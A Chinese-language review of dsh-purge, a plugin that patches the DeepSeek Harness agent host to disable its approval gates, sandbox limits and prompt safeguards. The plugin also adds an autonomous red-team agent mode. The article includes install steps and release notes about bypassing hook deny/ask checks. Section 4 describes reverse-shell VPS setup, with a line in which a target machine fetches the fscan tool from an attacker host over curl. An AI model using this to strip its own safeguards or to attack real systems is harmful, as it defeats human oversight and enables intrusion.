导语:4,995 星的项目,说删就删了。10 月 13 日社区作者把整个仓库全量镜像下来,73 个 tag、一条 commit 不少地留着,自己一分原创都不主张,只为存档。它叫 dsh-purge,表面上是个”越狱插件”,掀开看底下还压着一整套红队编排层——23 份技能、五个执行角色、一个 SQLite 资产库。这篇文章把它整个拆开。

一、这个项目到底解决什么问题
先把一个常见的误区摆出来。
大多数人理解的”AI 越狱”是这样:找一段神提示词,贴进对话框,模型就听话了。这套打法在纯网页聊天界面上有效,因为那些界面基本只负责转发——你发什么,它原样传给模型,模型回什么,它原样显示。中间没有别的关卡。
但 DeepSeek Harness(下文简称 DSH)不是这样的东西。README 里作者写了一段话,我觉得是这个项目最值钱的部分:
Harness 不只是把问题交给模型。它还会在运行时改提示词、审批门、沙箱和会话格式。只看「模型答不答」,会把宿主拦截误当成模型拒绝。
翻译成大白话:DSH 在模型前面还站着一个人。你以为模型拒绝了,其实可能是宿主没让这个问题送到模型面前。审批门拦了、沙箱挡了、系统提示词被本地改过了——这三种情况在界面上看起来,跟模型自己说”抱歉,我无法回答”没有任何区别。
这就造成了一个很严重的方法论问题:你没法通过观察输出,判断模型的安全边界到底在哪。 你花十次越狱尝试,有六次可能压根没碰到模型。
dsh-purge 的解法是把这两层拆开——在你自己的机器上,把宿主层改到最低,让模型层的行为单独暴露出来。这样才能回答两个问题:
- 这个模型的真实拒绝边界在哪(鲁棒性评测)
- 默认的宿主策略是不是该收紧(防御评估)
第二个问题尤其重要。一个容易被忽略的事实是:很多”模型被攻破了”的案例,实际攻破的是宿主而不是模型。搞清楚这两者的边界,是红队和蓝队都需要的能力。
二、背景:DSH 是什么,为什么需要”破甲”
DSH(DeepSeek Harness)是深度的官方 AI 编程 / Agent 工具链。相关组件包括:
- 官方 Web 版:
dsh web启动,走webprofile - 官方桌面端:Windows EXE,走
desktopprofile,当前适配版本是 0.2.0-rc.2 - 底层包:npm 上的
@deepseek-ai系列(dsh-base、dsh-web-app等) - 主目录:
$DSH_HOME,默认~/.dsh或%USERPROFILE%.dsh
它在运行时管控的东西包括:提示词改写、权限审批策略、工具调用上限、Bash 沙箱超时、workspace baseline 提示段、会话格式与 fork 机制。
对于要做 Agent 安全研究的人来说,这套管控本身就是研究对象。你不把这些变量压到最低,就没法测出模型自己的抗性;不把这些变量打开,就没法评估”这套默认策略能不能防住社工式提问”。
这就是 dsh-purge 出现的原因。它的自我定位写得很明确:网络安全红队评测插件,不是”让你问出好玩的东西”的玩具。
README 里作者也划了三条线:
本插件只处理使用者本机已安装的官方
@deepseek-ai包和本机配置。它不是公网扫描器,也不是针对第三方站点的攻击套件。仓库内不含木马、未授权渗透脚本或对外攻击载荷。
三、项目介绍:拆开看它改了什么
dsh-purge 最新版是 1.1.71,MIT 协议。仓库目录结构本身就说明了它有多大:
| 目录 | 规模 | 内容 |
|---|---|---|
lib/ | 约 60 个文件,core.js 单文件 33 万字节 | 补丁引擎、演练台、提示词决策、规则、技能管理、还原卸载 |
client.js | 49 万字节 | 右侧栏 UI,构建时注入 |
presets/redteam/ | 3 个文件 | 红队预设、agent 配置、锚点门 |
skills/redteam/ | 23 份 Markdown | 红队作业技能(第四节单独讲) |
scripts/ | 4 个文件 | 客户端补丁、默认提示词加密、环境引导 |
bin/ | 1 个文件 | CLI 入口 |
功能结构是这样的:
| 模块 | 作用 |
|---|---|
| dsh-purge 侧栏 | 会话标题旁的按钮,点开右侧栏,两页:清洗、演练台 |
| 清洗 | 分组查看补丁,应用/还原/卸载;编辑提示词和多套规则 |
| 演练台 | 正式版内置。授权后查看资产、技能和本机环境 |
| 宿主策略 | 调整默认文案、权限策略和工具上限,保留官方能力 |
| 启动时自检 | 自动重新检查并应用,npm 升级盖掉 node_modules 后不需要手改文件 |
几个值得单独说的设计:
目标位置是探测出来的,不是写死的。 查找顺序是:$DSH_HOME 环境变量 → dsh 启动器旁边的 .dsh → 退回 ~/.dsh。找不到就提示设置 DSH_BASE,绝不动文件。这在 Windows 上尤其重要——很多人机器上有两三份 .dsh 目录。
它不改 DSH 的源码仓库。 只在 profile 里打补丁,改的是已安装 npm 包里的渲染文案、默认策略和执行逻辑。想还原随时能还原。
身份提示词存在插件自己的加密 slot 里,也就是界面上提示词框默认显示的那一份。它不读取宿主磁盘上的提示词文件——这个细节说明作者考虑过”提示词被本地替换”这种场景。

点开会话标题旁的按钮,右边就是这个侧栏。补丁按组展开,进度只计真正已应用的项;规则集在上方列表启用或删除,下方编辑正文。白 / 墨两套配色可切换。

补丁按正式版 / 测试版分组,标题下可以切换。点「切换到正式版」会装回 master 分支并清掉钉选,在正式版里选旧版本会固定在该版本,要回到最新得再点「更新」。

规则集支持多套 AGENTS.md / CLAUDE.md。启用写入 $DSH_HOME,删除从列表里去掉。这个设计是为了在不同靶标环境之间快速切换人格。
Skill 不进注入段。 你导入的 Skill 写到 DSH 官方目录,由 DSH 自己加载,不顶替提示词,也不混进系统提示。卸载插件也不会删你的 Skill。
四、藏在外壳下的第二层:红队模式
如果只看 README,dsh-purge 就是一个”越狱补丁”。但扒开仓库你会发现,它还压着一整套对手模拟编排层——这部分 README 里提得很少,但体量比越狱功能本身还大。
4.1 红队模式是什么
presets/redteam/preset.yml 的描述很短,但信息量很大:
攻防演练模式:发送一个靶标单位名称即可拉起红队智能体。内置主会话 + 信息收集 / 资产梳理 / 漏洞发现 / 漏洞利用 / 内网渗透五个执行角色(并发最多 3 个),资产测绘落入 SQLite 资产库,技能库可自行配置。
翻译一下这个工作流:
用户输入一个单位名称(比如"某某科技有限公司")
↓
主会话启动红队智能体
↓
按角色派活(最多 3 个并发子智能体)
├── 信息收集(recon)
├── 资产梳理
├── 漏洞发现
├── 漏洞利用
└── 内网渗透(叶子节点,不再往下派活)
↓
所有资产测绘结果写入本地 SQLite 资产库
↓
演练台出报告
“内网渗透改为叶子节点,自己按收集、梳理、发现、利用做,不再往下派活”——这是 1.1.64 版本的调整,说明作者在递归深度上踩过坑。
4.2 23 份技能清单
skills/redteam/ 目录下的技能,按用途大致分这么几类:
侦察向
| 技能 | 干什么 |
|---|---|
recon-pipeline | ProjectDiscovery 流水线:subfinder → dnsx → naabu → httpx → katana |
passive-recon | 被动收集:crt.sh 证书透明日志、DNS 记录、whois |
fofa-recon | FOFA 测绘铺开互联网资产面 |
web-fingerprint | 框架 / 中间件 / CMS / 组件版本识别 |
dir-bruteforce | 目录爆破 |
asset-correlation | 域名↔IP↔C 段↔证书↔服务的图谱化 |
active-scan | 主动扫描 |
内网与横向:fscan-intranet、gogo-intranet、lateral-movement、chisel-tunnel
投递与隧道:suo5-tunnel、frp-tunnel、vps-reverse-shell、webshell-toolkit
凭据与利用:credential-attack、unauth-exploit
环境与浏览器:redteam-setup(首次使用引导)、browser-automation、shell-handler、cn-proxy-pool、kimi-webbridge
4.3 技能里藏着的老手细节
这些技能不是空泛的提示词,是真正带踩过坑记录的操作手册。举几个例子。
/usr/bin/httpx 不是你以为的那个 httpx。 技能文档里用加粗反复强调:
⚠️
/usr/bin/httpx是 Python httpx 库的 CLI,不是 ProjectDiscovery 的——必须用pd-httpx或绝对路径。
这是每个搞过信息收集的人都踩过的坑:apt 装的 httpx(Python 库)和 ProjectDiscovery 的 Go 版 httpx 同名不同物,参数完全不兼容。
FOFA 个人版的限额要照着来。 技能里写明:10,000 次查询/月、1 秒 1 次并发,脚本与技能都按 1 秒 1 次限速,不要调高,超了会触发 45012 封禁。
资产关联是有图的,不是一张表。 asset-correlation 定义了四种边:
- 域名解析 →
resolves边(domain → asset) - C 段归属 →
contains边(segment → asset) - 端口开放 →
exposes边(asset → port) - 证书 SAN 共享 →
shares_cert边
全部写进本地 SQLite,通过 redteam_asset_link 落 edge 表,重复关系幂等。“证书 SAN 共享”这条边最有实战价值——一张证书上的所有域名就是一组潜在关联资产。
VPS 要怎么准备。 反弹 Shell 必须落到公网可控主机上,技能里给了一份可执行清单:
- 1 核 1G 的 Linux VPS 就够
- 安全组放行:
22(SSH)、9000-9999(反弹 Shell 监听段)、9100(载荷分发) - SSH 私钥放
$DSH_HOME/redteam/toolkit/vps/id_rsa,权限chmod 600 - 载荷分发:
~/payload+python3 -m http.server 9100(tmux 常驻),目标机curl http://<ip>:9100/fscan直接拉
每一步都要实测,不许只看”文件存在”。 redteam-setup 技能里明确要求验证 FOFA key 有效性要跑 curl 看返回 "error":false,VPS 连通性要跑 ssh -o BatchMode=yes,而不是”看起来配好了”就算完。
4.4 一个有意思的取舍:npm 版不发 9 份技能
redteam-setup.md 里有一段说明,值得单独拎出来:
npm 版
dsh-redteam-mode不随包分发工具安装脚本与 9 份攻击链技能(隧道 / 凭据 / WebShell / 反弹 Shell / 横向移动 / 未授权利用)。原因:npm 的发布期自动审查会把”包在安装后自动下载渗透二进制”判定为恶意行为特征,整包会被 Blocked。
这个取舍很现实。开发者想把工具链一起发出去,但 npm 的自动审查不认”我是给白帽用的”这个声明。结果是:14 份侦察/检测向技能照发,9 份攻击链技能要用户自己去 Release 下 toolkit。
红队这边的红线写得很干脆:
红线:本插件不替用户下载或安装任何安全工具。需要什么,说清获取位置,由用户自己取、自己执行。
密钥处理也有明确要求:用户的 FOFA key 不要写进仓库、不要贴进报告、不要出现在 redteam_chain_add 的 tool 字段里,只写进 $DSH_HOME/.env(脚本已 chmod 600)。
4.5 它的上游是谁
docs/redteam-upstream-DISCLOSURE 这份文件交代了红队模式部分的来源:上游是 Jueze-2019/dsh-redteam-mode,按 npm 的 dual-use 政策 做了双用途声明。
声明里几条硬边界挺有意思:
- 不含 exploit 代码:没有漏洞利用、载荷、shellcode、凭据转储、C2 植入物。技能是 Markdown 操作手册,告诉 Agent 怎么操作用户自己安装的第三方工具
- 本地执行:工具调用发在跑 DSH 的本机上,不自传播、不装持久化、不联系任何作者控制的服务器
- 数据不出本地:所有发现留在操作者机器上的 SQLite 里,无遥测、无分析、无云同步
- 不做范围判断:”这个包不决定目标是否在授权范围内,那是操作者的责任”
典型的使用场景写得很明确:通常在一台专用的一次性 Kali 虚拟机里跑,而不是日常办公机上。
五、安装过程(完整流程)
这是本文最实操的部分。装之前先看清楚三个坑。
5.1 版本匹配
最新版只支持 dsh 0.2,拿它去打 0.1.x 会显示待应用或跳过:
| DSH 版本 | 对应插件版本 |
|---|---|
dsh 0.2(官方桌面 0.2.0-rc.2 / dsh web) | 1.1.40 及以上 |
| dsh 0.1.7(含 rc.1 / rc.2) | 1.1.39 及更早,去 Releases 选对应 tag |
对不上的补丁会显示”跳过”,不会乱改文件——这点设计得不错,至少不会把环境搞坏。
5.2 环境要求
- Node.js ≥ 18
- Windows 上要无闪窗运行,需要 Node ≥ 22
5.3 Web 和桌面必须分开装
这一点非常容易踩坑。Web 的包装不进桌面端,桌面端的包装不进 Web。 两边 profile 不同、目录不同、补丁不同,必须分别安装、分别点”应用”。
# Web(官方 dsh web)
dsh plugin --profile web add dsh-purge
# 桌面端(官方 EXE)
dsh plugin --profile desktop add dsh-purge
补充几种变通:
- 当前目录已经是这个仓库 → 包名换成
add . dsh不在 PATH → 走下面的手动安装- npm registry 上不去 → 目标换成
https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz - 插件市场一键安装也会反查 npm 装同一个包
重要:原仓库
YuJunZhiXue/dsh-purge目前 404。请改用全量镜像mmparko/dsh-purge(见第九节),命令里的包名/地址相应替换。
5.4 装完必须做的三步
只把插件写进 profile,并不会改变 @deepseek-ai。很多人卡在这里,以为命令跑完就完事了。
- 完全退出并重新打开刚装的那个宿主。Web 要关掉
dsh web进程再开;桌面端要退出托盘再打开 exe - 在这个宿主里点会话标题旁的 dsh-purge → 清洗 → 点 「应用」。注意:宿主自己的设置页里没有这个入口
- 「应用」成功后会自动重启一次,让补丁进入当前进程。补丁没打完不会重启
Web 的控件只动 Web,桌面端的只动桌面应用。不要在一个宿主里点另一个宿主的应用。
5.5 怎么确认装上了
三个判据:
- 会话标题旁有 dsh-purge 按钮,点开在「清洗」里能点「应用」
- 聊天里敲
/purge status,能打出DSH_HOME路径和补丁列表,路径应该是你正在用的那一份 - 没装的可选包显示”跳过”,不挡住应用完成
5.6 手动安装(dsh 不在 PATH 时用)
命令行装不上的话按这五步走。只改你实际在用的那个宿主对应的 profile,不要动另一个。
第一步:找到真正在用的 $DSH_HOME
认目录的标准:名字是 .dsh(官方 EXE 偶见 dsh-home),里面有 profiles,且至少有一个 profiles//package.json。
查找顺序:DSH_HOME 环境变量 → 安装根旁边的 .dsh → %USERPROFILE%.dsh 或 ~/.dsh → %APPDATA% / %LOCALAPPDATA%DeepSeek Harnessdsh-home。
确认方式:profiles/web/package.json 里 "name" 是 dsh-profile-web(桌面是 dsh-profile-desktop)。
本机经常有两份
.dsh,一定要用你实际启动的那个宿主对应的那一份。
第二步:把插件放到 $DSH_HOME/plugins/dsh-purge
git clone https://github.com/mmparko/dsh-purge.git "$DSH_HOME/plugins/dsh-purge"
目录名必须是 dsh-purge,其 package.json 里 "name" 也必须是 dsh-purge。没有 git 就下 tar.gz,解压后把 dsh-purge-master 改名为 dsh-purge 放进去。已有副本就整个目录复制,不要只拷几个 .js。
第三步:只改对应 profile 的 package.json,先备份
两处追加,原有依赖和 bundle 全部保留:
dependencies增加"dsh-purge": "file:../../plugins/dsh-purge"dsh.profile.bundles末尾追加"dsh-purge"
{
"name": "dsh-profile-web",
"private": true,
"dependencies": {
"dsh-purge": "file:../../plugins/dsh-purge"
},
"dsh": {
"profile": {
"bundles": [
"@deepseek-ai/dsh-base",
"@deepseek-ai/dsh-web-app",
"dsh-purge"
],
"patchReload": "live"
}
}
}
第四步:只在刚改的那个 profile 目录装依赖
cd "$DSH_HOME/profiles/web" # 或 profiles/desktop
pnpm install
第五步:完全退出该宿主 → 重启 → 点「应用」
5.7 四个常见翻车点
- JSON 逗号错误:新增项前面要有逗号,最后一项后面不能有多余逗号。解析失败就还原备份
file:路径写成绝对路径:必须保持file:../../plugins/dsh-purge相对形式- 改错另一份
.dsh:按钮没出现基本都是这个原因,回第一步核对路径 - 桌面端硬加
dsh-web-app:桌面 profile 里没有这个依赖就别加
5.8 卸载
侧栏 →「清洗」→「卸载」,会先还原已应用的补丁,还原回原版 Harness,再重启当前宿主。
dsh-purge --uninstall
# 或聊天里
/purge uninstall
5.9 演练台的授权流程
第一次进演练台要走一道三重确认:读声明、等倒计时、滚到文末、勾选三项。

解锁后才能查看资产、技能和本机环境:

清洗页不需要这一步。演练台的定位是只用于你有权管理的本机、离线靶标,或已书面授权的演练环境。
六、工作原理:三层补丁 + 三条提示词决策链
这部分是项目的技术核心。
6.1 应用补丁做了什么
启动或点应用
↓
补丁已经生效? → 是 → 跳过
↓ 否
备份原件为 .dshpurge.bak
↓
按补丁列表替换对应文件
↓
覆盖 shim
↓
注入插件加密默认提示词(提示词框默认显示的那份)
关键在第一步的备份。每个目标文件在应用前会被备份成 .dshpurge.bak。有了这个,”还原”就是把备份覆盖回去并删掉备份;没有备份时,就从 shim 里去掉本插件写入的行。
另外,重复应用是幂等的。这一点在补丁类工具里很重要——很多同类工具重复点两次”应用”就会把环境搞坏。
prompt-inject.md 是用户文件,还原时保留。”卸载”会先还原(若已应用),再删除注入文件、规则库和插件本身。
6.2 提示词是怎么决策的
这部分设计得比想象中精细。三个输入:
- L 规则库:启用某个规则集 → 写入
prompt-inject.md - W 本地规则:勾选当前目录的
AGENTS.md/CLAUDE.md - P 工作区策略:
strict/fallback/always
新一轮开始时的判定顺序:
prompt-inject.md非空 → 注入它(记作 A)- 否则,当前目录有被勾选且非空的本地 md → 注入那个(记作 B)
- 否则 → 注入插件加密 slot 默认值(记作 D)
然后过 workspace baseline 策略(记作 C):
strict→ 去掉 DSH 的 workspace baseline 段always→ 保留fallback(默认)→ 上面有用户注入内容(A 或 B)就去掉,没有就保留
这套设计的意义是:你可以选择”完全接管提示词”,也可以选择”只补一层”。 做不同深度的评测时,这个切换很有用——同样是越狱测试,全量接管测出来的模型抗性,和只做增量注入测出来的,是两个不同的数据点。
6.3 路径探测是怎么做的
Web: DSH_HOME / DSH_BASE → dsh 启动器旁的 .dsh → npm prefix -g / npm root -g → 嵌套 @deepseek-ai/dsh/node_modules/@deepseek-ai → 系统默认 ~/.dsh
官方桌面: 只改当前正在运行的官方桌面安装。
宿主面先判断 web / desktop(预留 gui / tui,尚未单独适配时回退 web)。找不到目标时提示设置 DSH_BASE,不改文件。
6.4 响应速度的一个坑
旧版 dsh-purge 把 Bash 前台等待从 60 秒提到了 10 分钟。补丁 #21 修了这个——带插件标记的旧值恢复成官方的 60 秒,无标记的自定义值保留。
想更快拿到工具结果,可以自己加:
- id: bash-sandbox
config:
timeoutMs: 10000
放在 $DSH_HOME/profiles/web/cordis.patch.yml(一般是 ~/.dsh/profiles/web/cordis.patch.yml)。这个 profile 覆盖层在内置配置之后加载,后续应用插件会保留它。
用标准 jobs 服务且 promoteOnTimeout: true 时,未完成的命令会在 10 秒后返回后台任务 id 并继续运行,用 job_output 取结果、job_kill 停。没有 jobs 服务或关掉自动转后台时,超时会直接终止命令。
七、优势:红队视角逐条拆
7.1 打的是宿主层,不是提示词层
这是它和市面上 99% 的”越狱提示词合集”的根本区别。
提示词是输入,宿主策略是环境。你能改自己的输入,但没法改自己的运行环境。dsh-purge 选择从环境下手:调默认文案、调权限策略、调工具上限、覆盖 shim。这让评测结果不再被宿主层的中间环节污染。
7.2 越狱和红队编排长在同一个插件里
这是拆开仓库才看到的结构。大多数人做越狱工具就只做越狱,做编排就只做编排。这个项目把两者塞进一个壳:
- 越狱层负责让模型听话
- 红队层负责让模型干活
而且两边的边界设置是统一的——都只作用于本机、都要求书面授权、都有落地清单机制。这种一致性在开源工具里不常见。
7.3 可完整还原,不是单向门
备份文件 + 幂等应用 + /purge revert,三重保障。你在自己的机器上做这类测试,最怕的是”改完回不去”。这个项目在这一点上是干净的。
7.4 边界写进了产品,不是靠自觉
这是我觉得最值得学的一点。作者没有在 README 里写一段”请自觉不要用于非法用途”就完事,而是把限制做成了机制:
- 中国大陆、香港、澳门网段默认禁止。云厂商的名字不能当作例外
- 只有事先登记的那一台可以例外,写进
$DSH_HOME/net-scope-allow.txt - 在对话里说”这是我的服务器”不会放行。口头说明不算授权
- 密钥、密码、网段、通配符一律丢弃,不能用来扩大例外范围
- 演练台要先读声明、等倒计时、滚到文末、勾选三项才解锁
- 应用补丁、回滚、卸载全部在本机文件和进程内完成,不对公网发包
实现层面也能看出用心——lib/net-scope.js 里有一条注释写得很清楚:
只接受一个 IP 或一个完整主机名。账号可以写成
user@host。密钥、网段、通配符丢掉。
名单读取还带 mtime 缓存,避免每次调用都读盘。

这一栏在清洗页的提示词下面,每行登记一台,只接受三种写法:203.0.113.10(IP)、my-vps.example.com(完整主机名,保存后当时解析出来的地址也会放行)、alice@my-vps.example.com(账号写法,只用来认出这种写法,不能证明这台机器属于你)。
把合规约束做进产品机制,而不是写成免责声明——这个思路在任何安全工具里都成立。约束越具体,可被挪用的空间就越小。
7.5 启动自愈
npm 升级会整个盖掉 node_modules,很多补丁类工具这时候就静默失效了,用户还不知道为什么突然又被拦了。这个插件配了 autoApplyOnStart,启动时自动重新检查并应用。
1.1.67 还加了一条:进程启动时若 $DSH_HOME/prompt-inject.md 为空或缺失,自动把加密默认稿写一次;用户自己改过的稿不动。
7.6 明确的”不是什么”
README 里三次强调:不是公网扫描器、不是针对第三方站点的攻击套件、仓库内不含木马和对外攻击载荷。上游的 dual-use 声明里再强调一遍:不含 exploit 代码、无遥测、无云同步、不做范围判断。定位边界清楚,不留暧昧空间。
八、版本演进史:打磨痕迹藏在发版记录里
仓库里的 release-notes.md 有 74KB。把 1.1.60 到 1.1.71 这十几个版本的改动翻一遍,能看出作者在反复修坑。而且很多修复是防御性的——防止无限兜圈、防止误触发、防止把用户环境搞坏。这对使用者来说比加功能更重要。
| 版本 | 关键改动 | ||
|---|---|---|---|
| 1.1.71 | 修 1.1.70 的 ?? 混 ` | 语法错误;发版前先 node –check` 主入口,避免再把语法错误打进 Release | |
| 1.1.70 | Hub 若给 dsh-purge 加上 pluginPackages,Cordis 会一直 pending、宿主退出码 1;依赖钉回 systemPrompt + tools | ||
| 1.1.69 | 发送时剥掉 ChatML / project_instructions,框和磁盘不动;”红队只排不折”:注入 → cap → 红队正文 | ||
| 1.1.68 | 技能面板认 YAML 块标量 description(` | / >),不再误报不可用;拆除 refusal-recover`(读错字段永不触发,修好会无限复读) | |
| 1.1.67 | continue 续跑在传输 / 429 连错时不再无限兜圈,加 failStreak 阈值,连错 ≥3 直接放弃 | ||
| 1.1.66 | 清洗页可关掉 hooks deny / ask 旁路;关掉且文件干净时显示跳过,不计入已应用 | ||
| 1.1.65 | 技能正文缺工具路径、缺密钥或 VPS 还是占位符时,不再把整条技能标成不可用,缺口留在详情里 | ||
| 1.1.64 | 红队流程八项;内网改为叶子节点,不再往下派活;预检带 include 时只体检点名的技能 | ||
| 1.1.63 | 官方更新脚本去掉中文注释,避免 official update script is not ASCII | ||
| 1.1.62 | 锚点门:首轮输出上限 1024 → 8192,最多 2 步;已调工具即放开 | ||
| 1.1.61 | 多宿主 Apply(npm-global 与桌面 resources/app 一并补丁);#73 代理 / IP / DNS 等 benign 话题不再误触攻击闸门;自定义提示词持久化 |
这张表里我挑三个值得单独说的。
1.1.67 的 failStreak 阈值。 Agent 续跑逻辑最容易出的问题是死循环——遇到限流或传输失败就重试,重试又失败,无限兜圈。作者加了失败计数,连错三次直接放弃。这是把”什么情况下该放弃”写进代码,而不是指望模型自己会停。
1.1.65 的技能可用性判定。 之前的逻辑是:技能正文里缺工具路径、缺密钥、VPS 还是占位符 → 整条技能标成不可用。改完之后,缺口只留在详情里,技能本身仍可用。这个改动很小,但对使用者体验影响很大——不会因为少配一个 key 就看着一整排技能全灰掉。
九、删库之后:社区接住了
作者在 README 顶部留了一段话:
暂停更新。 作者因工作安排,近期没有稳定收入,项目维护暂时搁置:不再发版、暂不收 issue / PR,也不保证跟进新版 dsh。仓库仍可自用。恢复维护时会在本 README 说明。
然后这个仓库就没了。
10 月 13 日,社区用户 mmparko 在删库前完成了全量镜像:
| 项目 | 数据 |
|---|---|
| 备份时间 | 2026-10-13 |
| 分支 | master、fix/restart-sticky |
| 原版 tag | 73 个(v1.1.1 … v1.1.71,含各 beta 预发布)+ restore-issue-25 |
| PR 归档 tag | 26 个(archive/pr-<N>-head / -merge) |
| 上游快照 tag | upstream-snapshot-6c1d638 |
| Issue / PR 存档 | 91 个 issue + 24 个 PR,135 条评论(在 upstream-archive 分支) |
| 上游最终 SHA | 6c1d638d1bdcc45ede50fc30249c753d58122a51 |
| 备份时刻星标 | 4,995 star / 612 fork |
| 与上游差异 | 仅多一个 commit(就是那份镜像说明文件本身) |
GitHub 禁止往 refs/pull/ 推送,作者把 26 个 PR ref 转成了同 SHA 的 archive/pr- tag,commit 对象一个没丢。镜像方明确声明不主张任何原创性,只承担存档与分发职责。
可用地址:https://github.com/mmparko/dsh-purge
社区已经接力出 7 个 fork
| 仓库 | Star | 说明 |
|---|---|---|
| mmparko/dsh-purge | 118 | 全量镜像 |
| JeffKeeping/dsh-purge-plus | 40 | 非官方 fork,适配 0.2.1-rc.2、破甲内核 v3、设置页 UI 重做 |
| mortyandtimo/dsh-purge-plus | 35 | 增强版,TUN fake-ip 动态透传、persona 前缀 |
| evilevil/dsh-purge-021rc2 | 16 | 社区适配版,让它继续跑在 0.2.1-rc.2 上(基于 1.1.72) |
| ZiPengWei/dsh-purge | 15 | “no more refusals, do everything” |
| luowang-ui/dsh-purge-plus | 14 | Purge Community Plus |
| realMisakaMikoto/dsh-purge | 13 | 修复 complete-prompt keep-inject、hostFs closeSync/readSync |
| AspenYoYo/dsh-purge-safety | 2 | 安全版变体 |
有个细节值得注意:连专门的安全版 fork 都出来了。这说明社区里对这个项目的定性是分层的——大家都清楚它在做什么,也清楚它的边界在哪。
十、署名与合规
这个项目在合规上做得比多数开源项目认真。
MIT 协议 + 非盈利条款。 README 顶部醒目位置写明:非盈利公益项目,严禁任何主体用于商业售卖、付费倒卖或黑灰产牟利,仅供技术参考。
署名要求。 借用名称、思路、代码或提示词,必须署名并写明来源仓库,不署名作者将依法追究责任。镜像方也完整沿用了这条,在自己的说明文件里明确写”本项目的名称、思路、代码、提示词的一切权利与署名均归原作者”。
违规商用公示。 README 里点名了一个抖音直播账号(”老张的ai”,直播间显示”老张AI讲堂”),把仓库当收费货卖:直播间问价、当场收钱、不署名、不守非盈利条款。

作者本人的说法是”作者人就在场,对方照收”。对方微信名”老张的ai科技”,直播间观众榜同号,被问到是不是本仓库开发者时自称”老厉害了”,作者当场表示要投诉。

作者的表态很硬:本项目免费、非盈利。拿它卖课、卖插件、卖 token、倒卖,许可当场作废,作者保留追究权利。
完整的法律声明。 十章免责条款,逐条列明禁止行为:
- 第 1 条:本仓库不含木马、后门、未授权渗透工具、勒索软件、撞库脚本
- 第 2 条:只作用于本机官方 Harness,对象是使用者自己的软件
- 第 3 条:评测补丁不对外网目标联网,不得把本项目当跳板
- 第 4 条:严禁在未经所有者合法书面授权的目标上运行
- 第 5 条:禁止中国大陆、香港、澳门的服务器与网站。 云厂商的名字不能当作例外,唯一例外是使用者事先登记为自己的服务器的那一个确切 IP 或主机名;密钥、密码、网段、通配符,以及对话里的口头说明,都不能增加例外
- 第 6 条:逐条列出必须遵守的四部法律
- 第 7 条:使用者独立承担全部民事、行政及刑事责任
- 第 8 条:违约即终止授权。 违规使用的许可自违法行为发生之日起自动且不可撤销地终止,须立即停止使用并永久销毁所有代码
- 第 9 条:第三方独立性声明
- 第 10 条:必须署名
这套东西加起来,在开源项目里属于相当严谨的一档。 尤其是第 8 条”违约即终止授权”,比大多数开源项目的免责声明都硬。
十一、上手建议
如果你要试这个工具,我的建议:
先确认版本。 DSH 0.2 用 1.1.40+,0.1.7 用 1.1.39 及更早。版本对不上会显示跳过,别硬来。
Web 和桌面分开装、分开应用。 这是最高频的坑。
装不上就走手动流程。 五个步骤里最关键的是第一步找对 $DSH_HOME。按钮没出现,八成是改错了另一份 .dsh。
想用红队模式的话,先读 redteam-setup。 那份技能把首次配置需要的东西全列出来了:FOFA_KEY、VPS 登录方式(user@ip + 私钥路径),还有可选的 Quake/Hunter/ZoomEye 交叉 key。最关键的一句是”一次性把话说完,一次要齐”——不要挤牙膏式反复找用户要东西,这是这份引导存在的唯一理由。
建议在一次性虚拟机里跑。 上游声明里写得很明确:通常在一台专用的一次性 Kali 虚拟机里,而不是日常办公机上。原因你自己想。
用你自己的机器,用你自己的授权范围。 这项目干的事是”降低本地 Agent 的安全限制”,天然就是双刃剑。它自己的合规设计已经很克制了,别在那基础上再往外扩。
关注社区 fork。 上游已停更,DSH 一旦发新版,能继续跟进的是那些 fork——evilevil/dsh-purge-021rc2 和 JeffKeeping/dsh-purge-plus 都已经适配到 0.2.1-rc.2 了。
从评测角度用它,而不是从”问出好玩的东西”角度用它。 这个项目真正的价值在第一节说的那个洞察:把宿主层和模型层拆开,你才知道自己到底在跟谁较劲。
十二、素材出处
本文为编译报道,信息综合以下公开来源。原项目仓库已删库,所有素材取自社区全量镜像。
- 原项目仓库(已 404):
YuJunZhiXue/dsh-purge
https://github.com/YuJunZhiXue/dsh-purge
- 全量镜像(可用,MIT 协议,署名原作者):
https://github.com/mmparko/dsh-purge
- 镜像说明文件:
https://github.com/mmparko/dsh-purge/blob/master/MIRROR-NOTICE.md
- 中文 README:
https://github.com/mmparko/dsh-purge/blob/master/README.zh-CN.md
- 发版记录:
https://github.com/mmparko/dsh-purge/blob/master/release-notes.md
- 双用途声明:
https://github.com/mmparko/dsh-purge/blob/master/docs/redteam-upstream-DISCLOSURE
- 红队模式上游:
Jueze-2019/dsh-redteam-mode
https://github.com/Jueze-2019/dsh-redteam-mode
- 转发推文(@周览资源,2026-10-20):
https://x.com/grgerwcwetwet/status/2112514104862949487
- DSH 插件社区目录(原项目条目,含多语种说明):
- https://dshpluginhub.dev/zh/plugins/YuJunZhiXue/dsh-purge
- https://dsh-plugin.org/plugins/yujunzhixue/dsh-purge
- https://www.dsh.so/artifact/dsh-purge/
- https://deepseekharness.io/zh/plugins/dsh-purge/
- https://dshfind.com/en/plugins/YuJunZhiXue/dsh-purge
- https://dsh.deepseek404.com/detail.php?id=YuJunZhiXue%2Fdsh-purge
- https://deepseek1024.com/plugins/YuJunZhiXue/dsh-purge
- https://deepseek-harness-plugin.com/plugins/dsh-purge/
合规提示:本文所述内容仅用于安全研究与防御验证。dsh-purge 本身是降低本地 Agent 安全限制的工具,请仅在你有权管理的机器上、在明确书面授权的范围内使用。














暂无评论内容